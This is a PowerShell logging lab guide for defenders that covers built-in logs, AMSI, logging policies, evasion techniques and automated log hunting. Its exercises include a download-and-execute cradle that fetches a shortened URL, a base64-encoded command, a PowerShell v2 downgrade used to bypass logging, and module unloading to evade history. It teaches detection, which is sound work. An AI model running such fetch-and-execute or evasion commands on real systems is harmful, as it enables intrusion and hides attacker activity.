Lab 01 - Windows PowerShell Logging

Objective

1. Understand what PowerShell logging capabilities exist without any configuration required.
2. Turn on additional logging policies and see their effect.
3. Know the common evasion techniques and their mitigations.
4. Automate your investigation.

Overview

You will complete these exercises from the Windows 10 client. RDP into the `client01.training.com` Windows 10 machine using the **RDP/SSH IP** from the lab web page. Use the `student01` credential from the lab setup guide. Where necessary elevate your session using the `administrator` credential.

For your convenience the PowerShell commands have been saved in script files under `C:\Labs` on the two Windows lab hosts. You can open these in the ISE to run commands without copy/paste from the lab guide.

If connectivity to the remote lab is not available, then the steps in Lab 01 can be completed from any Windows 10 machine.

Exercise 1.1 - Stuff you get out-of-the-box with no configuration

The following PowerShell logging techniques require no configuration:

- PSReadline command history
- Script block logging (limited)
- AntiMalware Scan Interface (AMSI)

We will run a PowerShell command and observe everywhere that it is logged by default.

1.1.1 PSReadline Command History

The module PSReadline has been around for years. Among other things it gives users a Unix-like command line experience, including command history reuse with `CTRL + R`. The cmdlet `Get-History` only remembers commands from the current session. PSReadline stores command history in a file for reuse between sessions. This can be a forensic artifact for any commands physically typed at the console. It is easily bypassed.

1. Open a PowerShell console (not ISE) and run the following commands:

   ```
   Get-Module
   ```

   Notice PSReadline is pre-loaded on Windows 10

   ```
   Get-Command -Module PSReadline
   ```

   ```
   Get-PSReadlineOption
   ```

Notice the properties `MaximumHistoryCount` and `HistorySavePath`.

2. Open up a fresh PowerShell console. Now find commands you have typed in the history file:

   ```
   Get-Content (Get-PSReadlineOption).HistorySavePath
   ```

   ```
   Select-String -Path (Get-PSReadlineOption).HistorySavePath -Pattern
   'module'
   ```

   Replace the search term `module` with any other keyword you want to find in command history.

   This is great forensic information, but the downside is the lack of date/time stamps to know when the commands were executed.

3. Open an elevated PowerShell console and find all PSReadline history files across all user profiles:

   ```
   Get-Item
   C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\*.txt
   ```

4. Now search across all history files of all users on the system:

   ```
   Select-String -Path
   C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\*.txt -
   Pattern 'module'
   ```

   This command is very powerful to find interactive command history across the enterprise. Make note of it for future use.

5. Bypassing PSReadline is very easy. Type this command in your session:

   ```
   Remove-Module PSReadline
   ```

6. Type more commands in the session, then use the steps above to try to find them in the command history. They will not be there. A savvy threat actor would know to unload the module before conducting malicious activity, but you may catch the un-savvy threat actor this way.

1.1.2 Script Block Logging (Without Policy Implementation)

By default in PowerShell 5+ versions Windows will log potentially-malicious commands automatically to the log `Microsoft-Windows-PowerShell/Operational` with event ID `4104`.

1. Open up a PowerShell console and run this command

   ```
   Add-Type -AssemblyName System.Speech
   ```

2. Using either Windows Event Viewer or PowerShell see if you can find the `Add-Type` command in the `Microsoft-Windows-PowerShell/Operational` log under event ID `4104`.

   ```
   Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -
   FilterXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table
   TimeCreated, Message -Wrap
   ```

3. Why would the cmdlet `Add-Type` automatically be considered unsafe?

> **NOTE** - Pay close attention to the Windows Event Viewer PowerShell log locations:
>
> - `Windows PowerShell`: Applications and Service Logs \ Windows PowerShell
> - `Microsoft-Windows-PowerShell/Operational`: Applications and Service Logs \ Microsoft \ Windows \ PowerShell \ Operational

---

1.1.3 AntiMalware Scan Interface (AMSI)

Windows 10 and Windows Server 2016 introduced AMSI, which will scan scripts prior to execution. You will find these alerts in the log `Microsoft-Windows-Windows Defender/Operational` with event ID `1116` and `1117`.

1. Open up a PowerShell console and type `Invoke-Mimikatz`. What happens?

> **NOTE** - Even though this command is not installed on the system, it is a known-bad command that will get logged automatically.

2. Find the Windows Defender event log:

   ```
   Get-WinEvent -ListLog *defender*
   ```

3. Using either Windows Event Viewer or PowerShell see if you can find the `Invoke-Mimikatz` command in the `Microsoft-Windows-Windows Defender/Operational` log under event IDs `1116` or `1117`.

   ```
   Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' -
   FilterXPath "*[System[((EventID=1116) or (EventID=1117))]]" -MaxEvents 5 |
   Format-Table TimeCreated, Message -Wrap
   ```

> **NOTE** - AMSI has an EICAR equivalent for testing. For safe testing of this feature in the enterprise use the following command: `iex 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c138 6'`

> **NOTE** - In order for the AMSI test line to work you must remove the `SPACE` between the last two digits. The space was introduced to keep Defender from alerting on the lab file.

Exercise 1.2 - PowerShell Policies

The following PowerShell logging techniques require configuration:

- Module logging / Pipeline Execution Logging
- Script Block Logging
- System-Wide Transcription

We will now enable PowerShell policies for logging and transcription and study what the system captures. Each of the following techniques have their own nuances and capture slightly different data. Module Logging was introduced in PowerShell 3.0. Script Block Logging and system-wide Transcription were introduced in PowerShell 5.0. You can manage this in the policy registry path either directly or by GPO (available in both user and computer scope). Bookmark the following document for deeper explanation, sample scripts, and required reading later: PowerShell ♥ the Blue Team.

You will complete these steps from the Windows 10 client.

1.2.1 Module Logging / Pipeline Execution Logging

This feature introduced in Windows PowerShell 3.0 allows you to track commands for select modules. For enteprise forensics purposes we will set this on the computer side and target *all* modules. More specifics are documented in about_EventLogs.

1. You will use multiple PowerShell event logs in this lab. Identify them with this command:

   ```
   Get-WinEvent -ListLog *powershell*
   ```

> **NOTE** - Pay close attention to the Windows Event Viewer PowerShell log locations:
>
> - `Windows PowerShell`: Applications and Service Logs \ Windows PowerShell
> - `Microsoft-Windows-PowerShell/Operational`: Applications and Service Logs \ Microsoft \ Windows \ PowerShell \ Operational

2. Notice that modules have a property called `LogPipelineExecutionDetails` which defaults to `False`:

   ```
   Get-Module -ListAvailable | Format-Table Name, LogPipelineExecutionDetails
   ```

3. You can manually enable this for select modules. Try this:

   ```
   Import-Module NetAdapter
   $m = Get-Module NetAdapter
   $m.LogPipelineExecutionDetails = $true
   ```

4. In that same PowerShell session now run the cmdlet `Get-NetAdapter`.

5. Module logging appears in two places. PowerShell 3.0 began logging it first. Open up Windows Event Viewer or use PowerShell to see if you can find the `Get-NetAdapter` command in the `Windows PowerShell` log under event ID `800`.

   ```
   Get-WinEvent -LogName 'Windows PowerShell' -FilterXPath '*
   [System[(EventID=800)]]' -MaxEvents 5 | Format-Table TimeCreated, Message
   -Wrap
   ```

6. PowerShell 5.0 began logging it in a second location with a slightly different message body. Using either Windows Event Viewer or PowerShell see if you can find the `Get-NetAdapter` command in the `Microsoft-Windows-PowerShell/Operational` log under event ID `4103`.

   ```
   Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -
   FilterXPath '*[System[(EventID=4103)]]' -MaxEvents 5 | Format-Table
   TimeCreated, Message -Wrap
   ```

7. Notice that there is a lot of noise in these logs. This will be true for all the logs you use in this lab. Once you identify the events with the command and output study the data fields in the message body (UserId, HostName, HostId, HostApplication, RunspaceId, etc.) These data values can be correlated for forensic details across sessions and users.

8. Enable this policy using these commands in an elevated PowerShell console:

```
$BasePath   =
'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
$ModulePath = $BasePath + '\ModuleNames'
New-Item $ModulePath -Force
New-ItemProperty $BasePath -Name EnableModuleLogging -Value 1 -
PropertyType DWord
New-ItemProperty $ModulePath -Name '*' -PropertyType String
```

9. View the policy in the registry:

```
Get-ChildItem HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ -
Recurse
```

10. Now you will find event ID `800` and `4103` logging for nearly any command you run. Open a *new* PowerShell console, try some commands, and then use the steps above to find the events.

> **NOTE** - A PowerShell console / runspace / session will cache policies when launched. In order to see the policy take effect, you must open a fresh console.

1.2.2 Script Block Logging

Script block logging will record whole scripts executed. Longer scripts will be split between multiple `4104` events with the same ScriptBlock ID. If you enable Invocation Logging, then `4105` will indicate the beginning of a session and `4106` the end of a session. Due to the logging volume Invocation Logging is usually not enabled. Beginning in Windows 10 and Windows Server 2016 these event log entries can be encrypted using a certificate. This will hide any potential confidential data from being exposed in the event log. For the purposes of this lab we want to view the data in the clear. For more information see about_Logging.

1. Enable this policy using these commands in an elevated console:

```
$BasePath   =
'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLoggi
ng'
New-Item $BasePath -Force
New-ItemProperty $BasePath -Name EnableScriptBlockLogging -Value 1 -
PropertyType DWord
```

2. View the policy in the registry:

```
Get-ChildItem HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ -
Recurse
```

3. Open a fresh PowerShell console and try some commands.

4. Using either Windows Event Viewer or PowerShell see if you can find your commands in the `Microsoft-Windows-PowerShell/Operational` log under event ID `4104`.

```
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -
FilterXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table
TimeCreated, Message -Wrap
```

> **NOTE** - Notice again that this logging includes lots of noise. Take note of noise patterns to build your own filter later.

> **NOTE** - This feature will omit logging when the same command is repeated later in the same session.

1.2.3 System-Wide Transcription

You may be familiar with the cmdlet `Start-Transcript` to record commands and output during a PowerShell session. Windows PowerShell 5.0 introduced nested and system-wide transcription capabilities. This policy will automatically record all commands and output into log files in a directory that you specify. The directory should be created automatically. This policy also includes an Invocation Header feature documenting command start time, and it is recommended due to low impact on log size.

To properly implement this policy you will need to consider the following:

- Log files must be purged to avoid filling the disk. Automate deletion of old log files by age.
- A threat actor could simply delete transcript files to cover their tracks. Consider making the log path obscure and applying access controls to harden the path.

See following document for recommendations: PowerShell ♥ the Blue Team.

1. For ease of use in the lab we are going to use an obvious root folder for logging. Enable this policy using these commands in an elevated console:

   ```
   $BasePath   =
   'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription'
   New-Item $BasePath -Force
   New-ItemProperty $BasePath -Name EnableTranscripting -Value 1 -
   PropertyType DWord
   New-ItemProperty $BasePath -Name OutputDirectory -Value
   'C:\PSTranscripts' -PropertyType String
   New-ItemProperty $BasePath -Name EnableInvocationHeader -Value 1 -
   PropertyType DWord
   ```

2. View the policy in the registry:

   ```
   Get-ChildItem HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ -
   Recurse
   ```

3. Open a fresh PowerShell console and try some commands. Close the console. Open another console. Try more commands. Close this console also.

4. Using either Windows Explore or PowerShell navigate to the `C:\PSTranscripts` path. Examine the files generated.

- How many log files were generated?
- What key information can you identify in the top of the log file?
- Observe the time stamp for each command executed.
- How could this data help in an investigation?

5. Use this command to search the transcripts for a keyword:

   ```
   Select-String -Path C:\PSTranscripts\*\* -Pattern mimikatz
   ```

   Make note of this command for your future hunting toolkit.

Exercise 1.3 - Evasion Techniques

Any security technology is quickly followed by techniques to bypass it. Since the release of the Windows PowerShell 5.0 logging features, evasion toolkits have become prolific. This exercise will demonstrate some of these techniques. Because evasion techniques are unlikely to avoid *all* logging methods, it is recommended to employ all the logging techniques you have learned so far. If one is bypassed, then you can likely find fingerprints in a different log. It's like a spy movie with all those hidden laser sensors guarding the treasure.

1.3.1 Fileless Malware

Traditional antivirus techniques look for file hashes and signatures. AMSI described above is one new technique to improve detection of malicious scripting. Many malicious PowerShell scripts happen in stages.

- The unsuspecting user downloads an infected piece of code, called a *stager* or *launcher*.
- This code downloads a *payload* of the actual malicious script.
- The malicious script is entirely executed in memory with no files on disk.

One research report indicates this is the #1 method used in PowerShell malware.

1. The most famous, harmless demo of this technique is the ASCII Rick Roll. Try this in your PowerShell console:

   ```
   iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")
   ```

2. Now look for fingerprints in the logging areas you learned so far in this lab.

1.3.2 Obfuscation

What good are logs if you cannot find malicious commands in them? That is the goal of obfuscation, confusing both the human reader and the computer parser to hide badness. One research report suggests that only 4% of PowerShell malware uses this technique. This is all the more reason to proactively implement logging in your environment. The most famous toolkit for this is Invoke-Obfuscation. Add this toolkit to your future research list.

Obfuscation can involve the following techniques:

- Aliases, abbreviations, upper/lower case, escape characters, string concatenation

- Calculated commands extrapolated from byte arrays
- Base64 encoded commands
- Layered combinations of these techniques
- And more

Lucky for us PowerShell logging will capture these in the clear once devolved into the executed command. This is not fool-proof, however. For example, Invoke-Obfuscation can create commands that do not fully unravel when displayed in the clear text logging.

In this exercise we will apply multiple techniques to obscure a harmless command, execute it, and then see what is capture in the logs.

1. In a fresh PowerShell session execute the following command that uses an alias and string concatenation:

   ```
   iex ”’$(“B” + "e sure to" + ' drink yo' + 'ur Oval' + "tine!”)’”
   ```

2. Now create a Base64 encoding of the command:

   ```
   [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(@"
   iex ”’$(“B” + "e sure to" + ' drink yo' + 'ur Oval' + "tine!”)’”
   "@
   ))
   ```

3. Next, pass this encoded command to `powershell.exe` via `cmd.exe`. Open the `cmd` command prompt and run this command:

   ```
   powershell -enc
   aQBlAHgAIAAdIBkgQgBlACAAcwB1AHIAZQAgAHQAbwAgAGQAcgBpAG4AawAgAHkAbwB1AHIAIA
   BPAHYAYQBsAHQAaQBuAGUAIQAZIB0g
   ```

4. Now review your PowerShell logs for traces of the encoded or obfuscated commands. Can you find them?

   - PSReadline command history

     ```
     Select-String -Path
     C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\*.
     txt -Pattern 'Ovaltine'
     ```

   - Module logging event IDs 800 and 4103

     ```
     Get-WinEvent -LogName 'Windows PowerShell' -FilterXPath '*
     [System[(EventID=800)]]' -MaxEvents 5 | Format-Table TimeCreated,
     Message -Wrap
     ```

     ```
     Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -
     FilterXPath '*[System[(EventID=4103)]]' -MaxEvents 5 | Format-Table
     TimeCreated, Message -Wrap
     ```

   - Script block logging event ID 4104

```
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' -
FilterXPath '*[System[(EventID=4104)]]' -MaxEvents 5 | Format-Table
TimeCreated, Message -Wrap
```

- Transcription logs

```
Select-String -Path C:\PSTranscripts\*\* -Pattern 'Ovaltine'
```

5. **For homework later:** Combine the lines from the step above into your own parameterized script or function.

> **NOTE** - If you see encoded commands in your logs, try the following syntax to decode them:

```
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("a
QBlAHgAIAAdIBkgQgBlACAAcwB1AHIAZQAgAHQAbwAgAGQAcgBpAG4AawAgAHkAbwB1AHIAIABPAHYA
YQBsAHQAaQBuAGUAIQAZIB0g"))
```

1.3.3 Version Downgrade

PowerShell 2.0 does not support the logging and transcription techniques you have learned in this lab. After Windows 7 and Windows Server 2008 R2 newer operating systems contains an optional feature for the PowerShell 2.0 engine. This was intended for testing scripts for compatibility on the legacy operating systems mentioned. Threat actors use this to bypass the logging features. *Be aware that while Windows 7 and Windows Server 2008 R2 can install PowerShell 5.1, it is **impossible** to remove the PowerShell V2 engine on these operating systems. Upgrade your hosts!* For reading later: the deprecation of Windows PowerShell 2.0 and Detecting and Preventing PowerShell Downgrade Attacks.

1. Open the `cmd` command prompt and run this command:

```
powershell.exe -version 2 -command "Can you see me now?"
```

2. Notice that the command fails. While the PowerShell v2 engine is installed on Windows 10 by default, the .NET 3.5 dependency is not installed by default. Check the status of the Windows Feature from an elevated PowerShell console:

```
Get-WindowsOptionalFeature -Online -FeatureName *V2*
```

3. Some IT environments will have the .NET feature installed, and this bypass would work. To be safe, remove the feature and close the security hole:

```
Get-WindowsOptionalFeature -Online -FeatureName *V2* | ForEach-Object
{Disable-WindowsOptionalFeature -Online -FeatureName $_.FeatureName -
Verbose}
```

> **NOTE** - The Windows feature cmdlets are different between client and server operating systems.

> **NOTE** - Using dism.exe can achieve the same result on both client and server operating systems using the same syntax.

> **NOTE** - Reports from the field suggest that some Microsoft System Center products may have a dependency on the PowerShell V2 engine. Test this removal in your enterprise before implementing across all machines.

1.3.4 Version Upgrade

PowerShell Core 6.x and newer also support the logging features introduced in Windows PowerShell 5.0. However, one blogger suggests that it could be an attack vector where logging is not enabled by default. Indeed, reading about_Logging_Windows confirms that there is an additional step required to register the PowerShell event provider on Windows, and *then* enable the logging via the json policy file. An attacker could launch their malware using `pwsh` instead of `powershell`. Of course, PowerShell Core must be installed for this to be a viable bypass. Be aware that installing PowerShell Core provides a security bypass unless logging is properly enabled there as well (applying to Windows, MacOS, or Linux).

One of the optional labs will explore the logging capabilities of PowerShell Core.

1.3.5 Cached Policy Disable

Earlier we learned that PowerShell policies are cached when the session is created. If code attempts to disable PowerShell policies in the registry policy, then script block logging will automatically flag it with a `4104` event, even if the policy is not formally enabled. Exploit authors understand this. For example, when you dissect the launcher used by PowerShell Empire to compromise a host, you will notice that it attempts to bypass AMSI and script block logging. It does not attempt to change the computer policy in the registry, rather it attempts to short-circuit policy cached within the session. This is why having multiple layers of logging is important. You can still catch this activity with Module Logging and Transcription, even if Script Block Logging is bypassed.

There are many toolkits available to assist with PowerShell policy and AMSI bypass. Add this topic to your list for future study.

One of the optional labs will walk you through dissecting a PowerShell Empire attack.

Exercise 1.4 - Automating the Investigation

Very little of what you just learned is useful unless you do the following:

- Establish Windows PowerShell 5.1 as the *baseline* version across your enterprise
- Enable the logging policies across all machines
- Prepare tools for investigation (*AKA - PowerShell blue teaming*).

This last exercise in lab 1 will help you address the practical bits of implementation.

1.4.1 Enable Logging Enterprise-Wide

1. Decide if you will use GPO, direct registry scripting, or a combination of these to enable logging across your enterprise.

2. Using the code snippets provided in this lab or in the paper PowerShell ♥ the Blue Team, create a script you will use to set policy on your machines.

1.4.2 Increase Log Size

1. List the PowerShell logs on your lab machine:

   ```
   Get-WinEvent -ListLog *powershell*
   ```

2. What is the default log size?

3. It is unlikely that 15MB of log space will give you enough history during an investigation, especially with all logging enabled. Some industry analysts recommend 1GB. Use the snippet below from an elevated PowerShell console to adjust event log size as desired.

   ```
   wevtutil.exe set-log Microsoft-Windows-PowerShell/Operational
   /maxsize:$(1gb)
   ```

1.4.3 Purge Transcripts

The transcription policy is powerful, yet over time it has potential to fill all drive space if left unchecked. As a best practice all systems should have a scheduled task or GPO script to clean the directory.

Here is a snippet to read the Transcription logging path from the registry and purge files older than 14 days.

```
$basePath =
"HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription"
if(Test-Path $basePath) {
    $a = Get-ItemProperty $basePath -Name OutputDirectory | Select-Object -
ExpandProperty OutputDirectory
    If (!$?) {'Not Configured'} Else {
        If (Test-Path -Path $a) {
            $RetentionDays = 14
            Get-ChildItem -Path $a -Recurse |
                Where-Object {$_.CreationTime -lt (Get-Date).AddDays(-1 *
$RetentionDays)} |
                Remove-Item -Force -Confirm:$false -Recurse
        } Else {
            'Log path not found.'
        }
    }
} Else {
    'Not Configured'
}
```

1.4.4 Collect Data From All Locations

In an attack investigation response time is critical. PowerShell can automate this crucial data collection.

1. Take the log harvesting techniques you have learned in this lab and turn it into a master investigation script. Features could include:

   - Elimination of common noise patterns

- Keyword filtering for known-bad commands
- Time range filtering where supported
- Ease-of-use for the security team in your organization
- Bonus points: pump data into your organization's security information and event management (SIEM) system

2. What other features would add value?

3. Share your script with the PowerShell community on Github or PowerShell Gallery. Collaborate with others to make the world a safer place.

1.4.5 Windows Event Forwarding

Scanning event logs across thousands of endpoints multiple times per day can be a challenge. Look into the free capabilities of Windows Event Forwarding for centralized collection and analysis of PowerShell logs. Consider collection and analysis intervals based on the criticality of systems (for example, top tier servers vs. workstations).

1.4.6 Logging Inception

> **CAUTION** - As you automate your PowerShell investigation consider the ramifications of introducing the malicious search terms into your logs by virtue of the very scripts you write to hunt those terms. Suddenly your logs are full of your hunting script keywords rather than keywords generated from badness in the environment.

1. What happens if you use PowerShell commands to view the contents of a transcript file?

2. Diversify your PowerShell investigation techniques by using tools that will not pollute the logs you are searching (command line utilities, custom-written binaries, etc.).

3. Consider doing investigation from a couple dedicated workstations to prevent malicious keywords in your scripts from polluting all the systems in your environment.

4. Try to put your search terms and patterns into a text file, keeping the terms directly out of the logs. However, be aware that certain terms could trigger AMSI, and Windows Defender could quarantine your keyword file.

End of line.

Now choose which of the remaining labs you want to complete in the time remaining.